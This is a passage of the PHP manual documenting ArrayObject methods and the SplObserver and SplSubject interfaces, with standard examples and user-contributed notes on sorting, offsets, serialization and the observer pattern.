ArrayObject::getIteratorClass

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::getIteratorClass — Gets the iterator classname for the ArrayObject

说明

public ArrayObject::getIteratorClass(): string

Gets the class name of the array iterator that is used by ArrayObject::getIterator().

参数

此函数没有参数。

返回值

Returns the iterator class name that is used to iterate over this object.

示例

Example #1 ArrayObject::getIteratorClass() example

<?php
// Custom ArrayIterator (inherits from ArrayIterator)
class MyArrayIterator extends ArrayIterator {
// custom implementation
}

// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Get the current class name
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);

// Set new classname
$fruitsArrayObject->setIteratorClass('MyArrayIterator');

// Get the new iterator classname
$className = $fruitsArrayObject->getIteratorClass();
var_dump($className);
?>

以上示例会输出：

string(13) "ArrayIterator"
string(15) "MyArrayIterator"

参见

  • The ArrayObject::setIteratorClass method

User Contributed Notes

There are no user contributed notes for this page.


Sort the entries by key

  • ? ArrayObject::getIteratorClass
  • ArrayObject::natcasesort ?
  • PHP Manual
  • ArrayObject
  • Sort the entries by key

ArrayObject::ksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::ksort — Sort the entries by key

说明

public ArrayObject::ksort(int $flags = SORT_REGULAR): true

Sorts the entries by key, maintaining key to entry correlations. This is useful mainly for associative arrays.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 ArrayObject::ksort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->ksort();

foreach ($fruitArrayObject as $key => $val) {
echo "$key = $val\n";
}
?>

以上示例会输出：

a = orange
b = banana
c = apple
d = lemon

参见

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function
  • ksort() - 对数组根据键名升序排序

User Contributed Notes

There are no user contributed notes for this page.


Sort an array using a case insensitive "natural order" algorithm

  • ? ArrayObject::ksort
  • ArrayObject::natsort ?
  • PHP Manual
  • ArrayObject
  • Sort an array using a case insensitive "natural order" algorithm

ArrayObject::natcasesort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::natcasesort — Sort an array using a case insensitive "natural order" algorithm

说明

public ArrayObject::natcasesort(): true

This method is a case insensitive version of ArrayObject::natsort.

This method implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering".

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

此函数没有参数。

返回值

没有返回值。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 ArrayObject::natcasesort() example

<?php
$array = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natcasesort();
echo "\nNatural order sorting (case-insensitive)\n";
print_r($arr2);
?>

以上示例会输出：

Standard sorting
ArrayObject Object
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [2] => img10.png
    [1] => img12.png
    [3] => img2.png
)

Natural order sorting (case-insensitive)
ArrayObject Object
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

参见

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function
  • natcasesort() - 用“自然排序”算法对数组进行不区分大小写字母的排序

User Contributed Notes

There are no user contributed notes for this page.


Sort entries using a "natural order" algorithm

  • ? ArrayObject::natcasesort
  • ArrayObject::offsetExists ?
  • PHP Manual
  • ArrayObject
  • Sort entries using a "natural order" algorithm

ArrayObject::natsort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::natsort — Sort entries using a "natural order" algorithm

说明

public ArrayObject::natsort(): true

This method implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering". An example of the difference between this algorithm and the regular computer string sorting algorithms (used in ArrayObject::asort) method can be seen in the example below.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

此函数没有参数。

返回值

没有返回值。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 ArrayObject::natsort() example

<?php
$array = array("img12.png", "img10.png", "img2.png", "img1.png");

$arr1 = new ArrayObject($array);
$arr2 = clone $arr1;

$arr1->asort();
echo "Standard sorting\n";
print_r($arr1);

$arr2->natsort();
echo "\nNatural order sorting\n";
print_r($arr2);
?>

以上示例会输出：

Standard sorting
ArrayObject Object
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
ArrayObject Object
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

参见

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function
  • natsort() - 用“自然排序”算法对数组排序

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the requested index exists

  • ? ArrayObject::natsort
  • ArrayObject::offsetGet ?
  • PHP Manual
  • ArrayObject
  • Returns whether the requested index exists

ArrayObject::offsetExists

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetExists — Returns whether the requested index exists

说明

public ArrayObject::offsetExists(mixed $key): bool

参数

key

The index being checked.

返回值

true if the requested index exists, otherwise false

示例

Example #1 ArrayObject::offsetExists() example

<?php
$arrayobj = new ArrayObject(array('zero', 'one', 'example'=>'e.g.'));
var_dump($arrayobj->offsetExists(1));
var_dump($arrayobj->offsetExists('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)

User Contributed Notes

goran at extensionsforjoomla dot com 09-Jul-2007 03:52
In versions prior to PHP 5.2.2 offsetExists() would return false if index value is null.
<?php
// running PHP 5.2.1
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(false)
// running PHP 5.2.2
$params = new ArrayObject(array('INT'=>null, 'STR'=> null, 'BOOL'=>null, 'LOB'=>null));
$test = $params->offsetExists('INT');
var_dump($test);
// result would be bool(true)
?>
Both tests where made on Windows platform.


Returns the value at the specified index

  • ? ArrayObject::offsetExists
  • ArrayObject::offsetSet ?
  • PHP Manual
  • ArrayObject
  • Returns the value at the specified index

ArrayObject::offsetGet

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetGet — Returns the value at the specified index

说明

public ArrayObject::offsetGet(mixed $key): mixed

参数

key

The index with the value.

返回值

The value at the specified index or null.

错误／异常

Produces an E_NOTICE error message when the specified index does not exist.

示例

Example #1 ArrayObject::offsetGet() example

<?php
$arrayobj = new ArrayObject(array('zero', 7, 'example'=>'e.g.'));
var_dump($arrayobj->offsetGet(1));
var_dump($arrayobj->offsetGet('example'));
var_dump($arrayobj->offsetExists('notfound'));
?>

以上示例会输出：

int(7)
string(4) "e.g."
bool(false)

User Contributed Notes

Jason 11-Apr-2016 02:43
It's worth noting that the PHP devs *did* fix the issue brought up in Sam's comment in 2013 (per the comment thread in his link here: https://bugs.php.net/bug.php?id=34783#1366088374), since at least PHP 5.3.8.

So, you *can* (and in most cases should) overload offsetGet with reference syntax to get expected functionality:

<?php
class myArrayType extends ArrayAccess {

    public function &offsetGet($index) {
        // ...
    }

}
?>
Alex Andrienko 20-Jan-2009 03:58
Speaking of offsetGet() method overloading, be advised, that if you're iterating through Object via foreach, this method wouldn't be called. Iterator's current() method will be called instead.
Sam 30-Nov-2007 03:01
If you're overloading ArrayObject, it's worth noting that while this method (when implemented by the parent) will return a reference, so code like $fakeArray['foobar']['hello'] = 1; will work like you expect.

However, when you overload the offsetGet method, you CANNOT define it as &offsetGet, so the above code falls out (because it returns the 'foobar' variable before you actually work with it).

This is something that the developers broke between 5.0 and 5.1, and was closed as bogus (http://bugs.php.net/bug.php?id=34783). So this is not a big, or question, or request, but just something worth noting.


为指定索引设定新值

  • ? ArrayObject::offsetGet
  • ArrayObject::offsetUnset ?
  • PHP Manual
  • ArrayObject
  • 为指定索引设定新值

ArrayObject::offsetSet

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetSet — 为指定索引设定新值

说明

public ArrayObject::offsetSet(mixed $key, mixed $value): void

设置指定的索引为新值。

参数

key

将要被设置的索引。

value

参数 key 所对应的新值。

返回值

没有返回值。

示例

Example #1 ArrayObject::offsetSet() 例子

<?php
class Example {
public $property = 'prop:public';
}
$arrayobj = new ArrayObject(new Example());
$arrayobj->offsetSet(4, 'four');
$arrayobj->offsetSet('group', array('g1', 'g2'));
var_dump($arrayobj);

$arrayobj = new ArrayObject(array('zero','one'));
$arrayobj->offsetSet(null, 'last');
var_dump($arrayobj);
?>

以上示例会输出：

object(ArrayObject)#1 (3) {
  ["property"]=>
  string(11) "prop:public"
  [4]=>
  string(4) "four"
  ["group"]=>
  array(2) {
    [0]=>
    string(2) "g1"
    [1]=>
    string(2) "g2"
  }
}
object(ArrayObject)#3 (3) {
  [0]=>
  string(4) "zero"
  [1]=>
  string(3) "one"
  [2]=>
  string(4) "last"
}

参见

  • ArrayObject::append() - 追加新的值作为最后一个元素。

User Contributed Notes

jerikojerk 22-Aug-2011 03:58
On my php 5.3.5 installation, i discovered that value can be set by reference and not by copy ... depending the context..

so this is différent from what a regular array()

<?php

function set(&$x, &$a )
{
    $x[] = $a;
}

$x = new ArrayObject();
$y = array();
$z = new ArrayObject();

$a =  array( 'foo' );
set($y,$a);
set($x,$a);
$z[]=$a;

$a = array( 'bar');

set($x,$a);
set($y,$a);
$z[]=$a;

print_r($x);
print_r($y);
print_r($z);
?>

// output
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
Array
(
    [0] => Array
        (
            [0] => foo
        )

    [1] => Array
        (
            [0] => bar
        )

)
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
n dot lenepveu at gmail dot com 30-Sep-2008 12:20
If $index is null, $newval is naturally pushed onto the end of the array as ArrayObject::append


Unsets the value at the specified index

  • ? ArrayObject::offsetSet
  • ArrayObject::serialize ?
  • PHP Manual
  • ArrayObject
  • Unsets the value at the specified index

ArrayObject::offsetUnset

(PHP 5, PHP 7, PHP 8)

ArrayObject::offsetUnset — Unsets the value at the specified index

说明

public ArrayObject::offsetUnset(mixed $key): void

Unsets the value at the specified index.

参数

key

The index being unset.

返回值

没有返回值。

示例

Example #1 ArrayObject::offsetUnset() example

<?php
$arrayobj = new ArrayObject(array(0=>'zero',2=>'two'));
$arrayobj->offsetUnset(2);
var_dump($arrayobj);
?>

以上示例会输出：

object(ArrayObject)#1 (1) {
  [0]=>
  string(4) "zero"
}

User Contributed Notes

pvenakis at efront dot gr 10-Jan-2008 12:57
When traversing recursively nested arrays using an RecursiveIteratorIterator, you cannot offsetUnset() or offsetSet() sub-array values, unless they are *all* declared as ArrayObject.
oalexandrino at yahoo dot com dot br 28-May-2007 11:11
Be careful when you are working with collections. This method works with the reference of an array instead of its retrieved value.

So, you can do a mistake.

In order to understand have a look at code as follow:

<?php
class Employee
{
    public function __construct()
    {
    }
}

class Company
{
    private $arrEmployee;

    public function __construct()
    {
    }

    public function AddEmployee(Employee $oEmployee)
    {
        $this->arrEmployee[] = $oEmployee;

    }

    public function getEmployeeList()
    {
        return $this->arrEmployee;

    }

}
?>

<?php

// first, creates the Company object
$oCompany = new Company();

// second, add 10 elements in
foreach( range(0, 9) as $index )
{
    $oCompany->AddEmployee( new Employee() );
}

// get them
$arrEmployee = $oCompany->getEmployeeList();

// creates an ArrayObject from "$arrEmployee"
$arrayobject = new ArrayObject($arrEmployee);

// unsets its firt five elements
foreach( range(0, 4) as $index )
{
    $arrayobject->offsetUnset($index);
}

// get them again
$arrEmployee = $oCompany->getEmployeeList();

// it shows just 5 elements, they were removed as reference via "offsetUnset" method
print_r($arrEmployee) ;

?>


Serialize an ArrayObject

  • ? ArrayObject::offsetUnset
  • ArrayObject::setFlags ?
  • PHP Manual
  • ArrayObject
  • Serialize an ArrayObject

ArrayObject::serialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayObject::serialize — Serialize an ArrayObject

说明

public ArrayObject::serialize(): string

Serializes an ArrayObject.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The serialized representation of the ArrayObject.

示例

Example #1 ArrayObject::serialize() example

<?php
$o = new ArrayObject();

$s1 = serialize($o);
$s2 = $o->serialize();

var_dump($s1);
var_dump($s2);
?>

以上示例会输出：

string(45) "C:11:"ArrayObject":21:{x:i:0;a:0:{};m:a:0:{}}"
string(21) "x:i:0;a:0:{};m:a:0:{}"

参见

  • ArrayObject::unserialize() - Unserialize an ArrayObject
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Sets the behavior flags

  • ? ArrayObject::serialize
  • ArrayObject::setIteratorClass ?
  • PHP Manual
  • ArrayObject
  • Sets the behavior flags

ArrayObject::setFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::setFlags — Sets the behavior flags

说明

public ArrayObject::setFlags(int $flags): void

Set the flags that change the behavior of the ArrayObject.

参数

flags

The new ArrayObject behavior. It takes on either a bitmask, or named constants. Using named constants is strongly encouraged to ensure compatibility for future versions.

The available behavior flags are listed below. The actual meanings of these flags are described in the predefined constants.

ArrayObject behavior flags
value | constant
1 | ArrayObject::STD_PROP_LIST
2 | ArrayObject::ARRAY_AS_PROPS

返回值

没有返回值。

示例

Example #1 ArrayObject::setFlags() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Try to use array key as property
var_dump($fruitsArrayObject->lemons);
// Set the flag so that the array keys can be used as properties of the ArrayObject
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);
// Try it again
var_dump($fruitsArrayObject->lemons);
?>

以上示例会输出：

NULL
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Sets the iterator classname for the ArrayObject

  • ? ArrayObject::setFlags
  • ArrayObject::uasort ?
  • PHP Manual
  • ArrayObject
  • Sets the iterator classname for the ArrayObject

ArrayObject::setIteratorClass

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayObject::setIteratorClass — Sets the iterator classname for the ArrayObject

说明

public ArrayObject::setIteratorClass(string $iteratorClass): void

Sets the classname of the array iterator that is used by ArrayObject::getIterator().

参数

iteratorClass

The classname of the array iterator to use when iterating over this object.

返回值

没有返回值。

示例

Example #1 ArrayObject::setIteratorClass() example

<?php
// Custom ArrayIterator (inherits from ArrayIterator)
class MyArrayIterator extends ArrayIterator {
// custom implementation
}

// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// Set the iterator classname to the newly
$fruitsArrayObject->setIteratorClass('MyArrayIterator');
print_r($fruitsArrayObject->getIterator());

?>

以上示例会输出：

MyArrayIterator Object
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


Sort the entries with a user-defined comparison function and maintain key association

  • ? ArrayObject::setIteratorClass
  • ArrayObject::uksort ?
  • PHP Manual
  • ArrayObject
  • Sort the entries with a user-defined comparison function and maintain key association

ArrayObject::uasort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::uasort — Sort the entries with a user-defined comparison function and maintain key association

说明

public ArrayObject::uasort(callable $callback): true

This function sorts the entries such that keys maintain their correlation with the entry that they are associated with, using a user-defined comparison function.

This is used mainly when sorting associative arrays where the actual element order is significant.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

callback

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 ArrayObject::uasort() example

<?php
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}

// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
$arrayObject = new ArrayObject($array);
print_r($arrayObject);

// Sort and print the resulting array
$arrayObject->uasort('cmp');
print_r($arrayObject);
?>

以上示例会输出：

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

参见

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function
  • uasort() - 使用用户定义的比较函数对数组进行排序并保持索引关联

User Contributed Notes

poxetinho at gmail dot com 01-Sep-2011 12:38
Note that return values between (-1, 1) are being considered as 0.


Sort the entries by keys using a user-defined comparison function

  • ? ArrayObject::uasort
  • ArrayObject::unserialize ?
  • PHP Manual
  • ArrayObject
  • Sort the entries by keys using a user-defined comparison function

ArrayObject::uksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayObject::uksort — Sort the entries by keys using a user-defined comparison function

说明

public ArrayObject::uksort(callable $callback): true

This function sorts the keys of the entries using a user-supplied comparison function. The key to entry correlations will be maintained.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

callback

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 ArrayObject::uksort() example

<?php
function cmp($a, $b) {
$a = preg_replace('@^(a|an|the) @', '', $a);
$b = preg_replace('@^(a|an|the) @', '', $b);
return strcasecmp($a, $b);
}

$array = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);
$arrayObject = new ArrayObject($array);
$arrayObject->uksort('cmp');

foreach ($arrayObject as $key => $value) {
echo "$key: $value\n";
}
?>

以上示例会输出：

an apple: 3
a banana: 4
the Earth: 2
John: 1

参见

  • ArrayObject::asort() - Sort the entries by value
  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • uksort() - 使用用户自定义的比较函数对数组中的键名进行排序

User Contributed Notes

There are no user contributed notes for this page.


Unserialize an ArrayObject

  • ? ArrayObject::uksort
  • SplObserver ?
  • PHP Manual
  • ArrayObject
  • Unserialize an ArrayObject

ArrayObject::unserialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayObject::unserialize — Unserialize an ArrayObject

说明

public ArrayObject::unserialize(string $data): void

Unserializes a serialized ArrayObject.

Warning

本函数还未编写文档，仅有参数列表。

参数

data

The serialized ArrayObject.

返回值

没有返回值。

参见

  • ArrayIterator::serialize() - Serialize
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The SplObserver interface

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

The SplObserver interface is used alongside SplSubject to implement the Observer Design Pattern.

接口摘要

interface SplObserver {
/* 方法 */
public update(SplSubject $subject): void
}

Table of Contents

  • SplObserver::update — Receive update from subject

User Contributed Notes

sebastien dot ferrandez at free dot fr 12-Mar-2014 09:36
Beware, you have written :

        if($key){
            unset($this->observers[$key]);
        }

When this should be :

        if(false !== $key){
            unset($this->observers[$key]);
        }

If the observer you want to delete is the first in your array, you will never delete it because the key would equal 0 and 0 == false as you know.
aiddroid at example dot com 02-Jul-2013 07:41
<?php

/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." ({$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=====output======
//Allen is reading breakout news USA break down! (Newyork Times)
//Jim is reading breakout news USA break down! (Newyork Times)


Receive update from subject

  • ? SplObserver
  • SplSubject ?
  • PHP Manual
  • SplObserver
  • Receive update from subject

SplObserver::update

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObserver::update — Receive update from subject

说明

public SplObserver::update(SplSubject $subject): void

This method is called when any SplSubject to which the observer is attached calls SplSubject::notify().

Warning

本函数还未编写文档，仅有参数列表。

参数

subject

The SplSubject notifying the observer of an update.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The SplSubject interface

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

The SplSubject interface is used alongside SplObserver to implement the Observer Design Pattern.

接口摘要

interface SplSubject {
/* 方法 */
public attach(SplObserver $observer): void
public detach(SplObserver $observer): void
public notify(): void
}

Table of Contents

  • SplSubject::attach — Attach an SplObserver
  • SplSubject::detach — Detach an observer
  • SplSubject::notify — Notify an observer

User Contributed Notes

xedin dot unknown at gmail dot com 01-Apr-2019 06:57
For a few years, I've made a few attempts to understand the architecture behind the Subject/Observer pair. Recently I tried again. I just could not imagine why someone would design this in the way it is documented.  I mean, "what were they thinking?!", I thought. The if things outside of the Subject could tell it when to notify observers, that would completely break encapsulation. Because only the subject can know when events occur inside of it. And therefore, exposing `notify()` would be a huge violation to many principles of good OOP design.

However, I have come up with one scenario where this would be valid. That is, if the Subject represents a Hook, like in WordPress. For example, in an event system where events are invoked with a name or code, a Hook could represent a named event in the system, and by calling `notify()` from outside the dispatcher could notify observers. If this is the intended scenario, then the problems are mostly with naming: the name "Subject" implies that it is what is being observed, and the Observer pattern is different.
aiddroid at example dot com 02-Jul-2013 07:01
/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." (by {$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

//classes test
$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=========output==========
//Allen is reading breakout news USA break down! (by Newyork Times)
//Jim is reading breakout news USA break down! (by Newyork Times)
Anonymous 07-May-2013 10:37
<?php
class Observable implements SplSubject
{
    private $storage;

    function __construct()
    {
        $this->storage = new SplObjectStorage();
    }

    function attach(SplObserver $observer)
    {
        $this->storage->attach($observer);
    }

    function detach(SplObserver $observer)
    {
        $this->storage->detach($observer);
    }

    function notify()
    {
        foreach ($this->storage as $obj) {
            $obj->update($this);
        }
    }
    //...
}

abstract class Observer implements SplObserver
{
    private $observable;

    function __construct(Observable $observable)
    {
        $this->observable = $observable;
        $observable->attach($this);
    }

    function update(SplSubject $subject)
    {
        if ($subject === $this->observable) {
            $this->doUpdate($subject);
        }
    }

    abstract function doUpdate(Observable $observable);
}

class ConcreteObserver extends Observer
{
    function doUpdate(Observable $observable)
    {
        //...
    }
}

$observable = new Observable();
new ConcreteObserver($observable);
przemyslaw dot szpiler at gmail dot com 26-Feb-2012 09:54
<?php

// Example implementation of Observer design pattern:

class MyObserver1 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MyObserver2 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MySubject implements SplSubject {
    private $_observers;
    private $_name;

    public function __construct($name) {
        $this->_observers = new SplObjectStorage();
        $this->_name = $name;
    }

    public function attach(SplObserver $observer) {
        $this->_observers->attach($observer);
    }

    public function detach(SplObserver $observer) {
        $this->_observers->detach($observer);
    }

    public function notify() {
        foreach ($this->_observers as $observer) {
            $observer->update($this);
        }
    }

    public function getName() {
        return $this->_name;
    }
}

$observer1 = new MyObserver1();
$observer2 = new MyObserver2();

$subject = new MySubject("test");

$subject->attach($observer1);
$subject->attach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
MyObserver2 - test
*/

$subject->detach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
*/

?>


Attach an SplObserver

  • ? SplSubject
  • SplSubject::detach ?
  • PHP Manual
  • SplSubject
  • Attach an SplObserver

SplSubject::attach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplSubject::attach — Attach an SplObserver

说明

public SplSubject::attach(SplObserver $observer): void

Attaches an SplObserver so that it can be notified of updates.

Warning

本函数还未编写文档，仅有参数列表。

参数

observer

The SplObserver to attach.

返回值

没有返回值。

User Contributed Notes

workspace dot development at yahoo dot com 02-Dec-2011 08:46
i think that Observer pattern is always implemented as "static" to be called from any scope, for example:
<?php
class Observer {
     //attach here the caller's scope
     private static $stackTrace = array( );
     public static function wasTriggeredOnce() {
          //...if is not in the stack, then:
          self::$stackTrace[] = max( debug_backtrace( ) );
     }
}

class YourFramework {

     public function launchPlatform() {

          //could not let user to launch application twice!
          Observer::wasTriggeredOnce();
     }
}
//cause is static
Observer::hereIsnoNeedToInstantiateAgain();
?>
goran 17-Oct-2011 12:54
